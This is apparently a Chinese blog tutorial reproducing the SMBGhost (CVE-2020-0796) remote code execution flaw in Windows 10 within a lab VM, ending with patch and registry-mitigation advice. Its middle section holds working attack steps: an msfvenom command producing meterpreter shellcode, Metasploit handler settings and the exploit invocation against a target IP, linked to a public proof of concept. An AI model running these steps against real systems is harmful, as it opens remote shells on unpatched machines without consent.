CVE-2020-0796 漏洞复现(rce)含exp教程

CVE-­2020­-0796 漏洞复现(rce)含exp教程

0X00漏洞简介

Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品,Microsoft Windows是一套个人设备使用的操作系统,Microsoft Windows Server是一套服务器操作系统,Server Message Block是其中的一个服务器信息传输协议。

微软公布了在Server Message Block 3.0(SMBv3)中发现的“蠕虫型”预授权远程代码执行漏洞。

0X01漏洞概述

(CVE-2020-0796 SMBGhost)该漏洞是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。

0X02影响版本

适用于32位系统的Windows 10版本1903

Windows 10 1903版(用于基于x64的系统)

Windows 10 1903版(用于基于ARM64的系统)

Windows Server 1903版(服务器核心安装)

适用于32位系统的Windows 10版本1909

Windows 10版本1909(用于基于x64的系统)

Windows 10 1909版(用于基于ARM64的系统)

Windows Server版本1909(服务器核心安装)

0X03环境搭建

可在虚拟机中搭建win10系统来进行复现。如有需要可留言获取iso文件。

0X04漏洞检测

漏洞检测脚本有很多这里简单分享俩个。

gitHub检测工具:https://github.com/ollypwn/SMBGhost

某信cert检测工具私聊可获取。

某检测工具演示:

 

p地址为win10地址,本地测试是需关闭win10防火墙成可ping通状态。

0X05漏洞复现

最近刚刚爆出了rce 的exp所以赶紧复现一手。

Exp地址:https://github.com/chompie1337/SMBGhost_RCE_PoC

该exp使用环境为python3

下载完成后将该exp放到kaili虚拟机中

启动msf

使用msf生成shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt

执行该命令后会在桌面生成一个shellcode.txt

将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可。

 

 

使用kaili中的msf开启监听

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp   #设置反弹模式

msf5 exploit(multi/handler) > set rhost 192.168.31.137  #设置目标靶机IP地址

msf5 exploit(multi/handler) > set lport 3333    #设置监听端口

msf5 exploit(multi/handler) > exploit 

在kail中进入exp文件夹,执行exp文件

python3  exploit.py  ­ip 192.168.31.137

即可看到msf中收到了回显成功连接。

 

如复现没有成功可能的原因有:

1.msf监听端口被占用

2.windows10设置自动更新已自动打补丁

3.shellcode未替换正确

4.exp端口和msf监听端口不一致

0X06漏洞修复

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796

或者你可以使用以下PowerShell命令禁用SMBv3服务的压缩(无需重新启动):

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force

此外你还可以通过禁止SMB的流量流向外网来防御攻击。

 

posted @   L0ading  阅读(6896)  评论(1编辑  收藏  举报
编辑推荐:
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
阅读排行:
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)

喜欢请打赏

扫描二维码打赏

了解更多

点击右上角即可分享
微信分享提示